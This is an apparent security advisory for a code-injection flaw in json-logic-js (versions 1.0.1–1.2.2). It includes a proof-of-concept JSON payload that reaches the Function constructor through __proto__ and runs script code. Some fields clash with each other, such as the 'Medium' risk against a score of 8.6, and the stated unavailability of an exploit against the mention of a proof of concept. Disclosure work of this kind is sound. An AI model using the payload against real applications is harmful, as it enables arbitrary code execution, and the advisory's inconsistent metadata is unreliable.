Vulnerability identifier: #VU46701

Vulnerability risk: Medium

CVSSv3.1: 8.6 [CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/E:P/RL:U/RC:C]

CVE-ID: N/A

CWE-ID: CWE-94

Exploitation vector: Network

Exploit availability: No

Vulnerable software:
json-logic-js
Web applications / Modules and components for CMS

Vendor: Nicehop

Description

The disclosed vulnerability allows a remote attacker to perform code inection attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data. A remote attacker can inject and execute arbitrary script code.

Example:

{
  "method": [
    {
      "method": [
        {
          "var": "__proto__.constructor.is."
        },
        "constructor",
        [
          "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
        ]
      ]
    },
    "call"
  ]
}

Mitigation
Cybersecurity Help is currently unaware of any official solution to address this vulnerability.

Vulnerable software versions

json-logic-js: 1.0.1 - 1.2.2

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External links
http://www.npmjs.com/advisories/1542

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Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.